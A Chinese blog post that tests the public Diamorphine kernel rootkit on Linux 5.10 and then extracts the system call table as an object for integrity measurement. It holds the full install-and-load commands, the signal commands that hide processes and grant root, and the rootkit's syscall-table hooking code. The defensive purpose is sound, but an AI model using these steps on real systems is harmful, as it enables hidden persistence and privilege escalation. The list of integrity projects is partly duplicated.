Linux内核的Rootkit攻击与度量对象提取

Rootkit攻击与度量对象提取

Rootkit攻击

实验环境搭建

选择Linux 5.10版本作为实验环境,首先确认内核版本。

uname -r

Rootkit简介

  • Rootkit 主要任务是隐藏并长期驻留在感染机器上的从事各类恶意活动,达到高隐藏高持久化目的
  • 根据运行时权限可以划分为内核态用户态
    • 内核态 Rootkit 具有与操作系统相同的权限,在内核级别运行,通常作为设备驱动程序或可加载模块加载到目标设备中。内核态 Rootkit 很难开发,因为源代码中的任何错误都会影响目标系统的稳定性,这将是发现恶意程序的最直接表现。
    • 用户态 Rootkit 以与大多数应用程序具有相同的运行权限。它们可以拦截系统调用并替换 API 或劫持应用程序返回的值,以获得对设备的控制。用户态 Rootkit 所需的前置知识和复杂度,与内核态Rootkit相比更简单,更容易开发,因此常用于大范围攻击。
  • 功能有获得远程访问、窃取数据、各类隐藏功能、创建永久root权限后门、隐私监控、劫持或关机安全程序
  • 当前主要的Rootkit检测的方法包括但不限于以下几种类型,基于Rootkit运行的效果进行检测静态文件特征检测、动态行为分析检测、数据完整性检测。它们各有利弊
  • 当前主流Rootkit检测项目有Chkrootkit、Rkhunter、Kjackal、Tyton、Elkeid、stmichael-lkm、Qiling

Rootkit测试

选择内核态 LKM Rootkit Diamorphine进行测试。项目链接:https://github.com/m0nad/Diamorphine。对于源码的解释可见(21条消息) Diamorphine rootkit的特性与原理分析_guoguangwu的博客-CSDN博客。如果需要更详细的了解可以参考(21条消息) Linux Rootkit躲避内核检测_dog250的博客-CSDN博客

Diamorphine是用于Linux内核2.6.x/3.x/4.x/5.x和ARM64的LKM rootkit

安装Diamorphine

验证内核是否为2.6.x/3.x/4.x/5.x

uname -r

克隆存储库

git clone https://github.com/m0nad/Diamorphine

进入文件夹

cd Diamorphine

编译

make

进入 root 权限

sudo su

加载模块

insmod diamorphine.ko
测试Diamorphine

已知的功能如下

  • 当加载的时候,模块是不可见的(lsmod 看不到)
  • 通过发送31信号,可以达到隐藏和不隐藏进程的目的
  • 通过发送63信号,可以隐藏和不隐藏该内核模块
  • 通过发送64信号(给任何进程),可以将用户变成root
  • 如果文件或者目录以MAGIC_PREFIX开始,将会隐藏

初始加载时:

lsmod | grep -i diamorphine

发现模块不显示,使用信号63使其显示

kill -63 0
lsmod | grep -i diamorphine

使用信号31

ps aux | gerp [任意进程号]
kill -31 [任意进程号] # 实现对进程的隐藏
ps aux | gerp [任意进程号] # 发现该进程被隐藏
kill -31 [任意进程号] #解除隐藏

使用信号64,在用户态测试

whoami #输出为用户
kill -64 0
whoami #输出为root

文件或者目录以MAGIC_PREFIX开始,其中MAGIC_PREFIX为“diamorphine_secret”

卸载Diamorphine

模块开始时不可见,若要删除,需要使其可见

kill -63 0

删除模块root权限

rmmod diamorphine

度量对象提取

阅读源码可知,该Rootkit通过挟持系统调用进行攻击,故需要提取整张系统调用表进行度量。

#保存原调度地址,用于后续恢复
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
	orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
	orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
	orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
	orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
	orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
	orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif

	//pr_info("__sys_call_table[__NR_kill] 0x%lx\n", __sys_call_table[__NR_kill]);

	unprotect_memory();

#替换为自己的系统调用
	__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
	__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
	__sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

	protect_memory();

系统调用表简介

可以在此处获得x86系统调用表的部分信息:https://filippo.io/linux-syscall-table/。

系统调用表简单来说就是一个放在内存当中的数组,我们可以通过syscall[__NR_NUM]获取调用的函数地址并进行调用。关于如何获取系统调用表虚拟地址的帖子已经有很多了,故不再赘述。以下是一些动态添加系统调用的帖子(里面有提到如何动态获取地址):

系统调用表提取

静态获取系统调用表的代码如下(但度量时还是要度量整张表),首先需要查看unistd_64.h文件的位置,命令如下:

sudo find / -name unistd_64.h
sudo cat /usr/src/linux-headers-5.10.0-1057-oem/arch/x86/include/generated/uapi/asm/unistd_64.h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFER_SIZE 512
#define __NR_syscall_max 440
// 查看系统调用表获得
char PATH_SYSCALL_TABLE[] = "/usr/src/linux-headers-5.10.0-1057-oem/arch/x86/include/generated/uapi/asm/unistd_64.h";
// 替换为自己的调用表 

int main() {
    FILE* fp;
    char buffer[BUFFER_SIZE];

    fp = fopen(PATH_SYSCALL_TABLE, "r");
    if (fp == NULL) {
        perror("fopen");
        exit(EXIT_FAILURE);
    }

    int i = 0;
    char str[] = "#define __NR_";
    char the_last_line[] = "#define __NR_syscall_max 440";
    while (fgets(buffer, BUFFER_SIZE, fp) != NULL) {
        //printf("%s", buffer);
        char* result = strstr(buffer, str);
        if (result){
            //printf("%s", buffer);
            if(strstr(buffer, the_last_line)) {
                printf("It's over!\n");
                break;
            }
            else{
                int num = 0, i = 16, breakpiont = 16;
                while(buffer[i] != '\0'){
                    if(buffer[i] == ' '){
                        breakpiont = i;
                        break;
                    }
                    i++;
                }
                for(int i = breakpiont; buffer[i] != '\0'; i++){
                    if (buffer[i] >= '0' && buffer[i] <= '9') {
                        num = num * 10 + (buffer[i] - '0');
                    }
                }
                printf("NUM = %d\n", num);
                printf("%s", buffer);
            }
        }
    }

    if (fclose(fp) != 0) {
        perror("fclose");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_SUCCESS);

    return 0;
}

动态获取方法如下,使用模块机制编写程序,使用 dmesg 查看日志(仅截取了关键部分代码,有关kallsyms_lookup_name部分应该很容易查找):

	
	unsigned long *syscall_table;
    syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
    pr_info("__sys_call_table 0x%lx\n", syscall_table);
    
    // 单调度地址,使用关键字调度即可
	pr_info("__sys_call_table[__NR_kill] 0x%lx\n", syscall_table[__NR_kill]);

    // 整表
	for(i = 0; i <= __NR_syscall_max; i++){
        pr_info("__sys_call_table[%d] 0x%lx\n", i, syscall_table[i]);
    }

一些用于内核追踪的工具

SystemTap

SystemTap对内核及用户态程序提供了动态追踪功能,用户可以自定探测事件来跟踪程序的运行情况,如函数的调用路径、CPU占用和磁盘IO等一系列可以探测的情况。有了systemtap,可以在程序不修改代码,甚至不用重启就能分析出程序的运行情况。

pahole

pahole显示以调试信息格式、DWARF、CTF编码的数据结构布局,并且支持BTF。

strace

strace是一个用于Linux的诊断、调试和指导用户空间实用程序。它用于监视和篡改进程和Linux内核之间的交互,包括系统调用、信号传递和进程状态的更改。

相关完整性度量项目

  • Tripwire https://www.tripwire.com/
  • OSSEC https://www.ossec.net/
    • https://github.com/ossec/ossec-hids/tree/master
  • KRIe https://github.com/Gui774ume/krie
    • KRIe旨在检测eBPF对Linux内核的攻击。KRIe远不是一种防弹策略:从与eBPF相关的限制到可能依赖于受损内核来发出安全事件的利用后检测,很明显,有动机的攻击者最终将能够绕过它,该项目的目标是让攻击者的生活更加艰难,并最终防止开箱即用的漏洞攻击在易受攻击的内核上进行。
  • Linux-SSIP https://github.com/sjtu-linux-ssip/linux-ssip
    • 一个简单而安全的Linux完整性保护工具
  • LKRG https://github.com/adrelanos/lkrg
    ui774ume/krie
    • KRIe旨在检测eBPF对Linux内核的攻击。KRIe远不是一种防弹策略:从与eBPF相关的限制到可能依赖于受损内核来发出安全事件的利用后检测,很明显,有动机的攻击者最终将能够绕过它,该项目的目标是让攻击者的生活更加艰难,并最终防止开箱即用的漏洞攻击在易受攻击的内核上进行。
  • Linux-SSIP https://github.com/sjtu-linux-ssip/linux-ssip
    • 一个简单而安全的Linux完整性保护工具
  • LKRG https://github.com/adrelanos/lkrg
    • LKRG对Linux内核执行运行时完整性检查,并检测针对内核的安全漏洞利用。
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值